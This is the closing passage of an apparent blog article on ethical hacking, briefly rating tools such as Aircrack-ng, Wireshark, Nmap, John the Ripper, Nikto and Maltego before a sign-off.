Aircrack-Ng is a free packet sniffer & injector and supports cross-platform. Wireshark is a packet analyzer and is good in analyzing data packets. As per the reviews available online, people recommend using Nmap instead of Angry IP scanner as Angry IP Scanner comes with unwanted applications.

John the Ripper is fast in password cracking. Nikto is a good open source tool for penetration testing. Maltego presents the data in a graphical form and will give you information about weak points and abnormalities.

This was all about the ethical hacking and the top ethical hacking tools. Hope you will find this article to be much useful!!

@EVERYTHING NT

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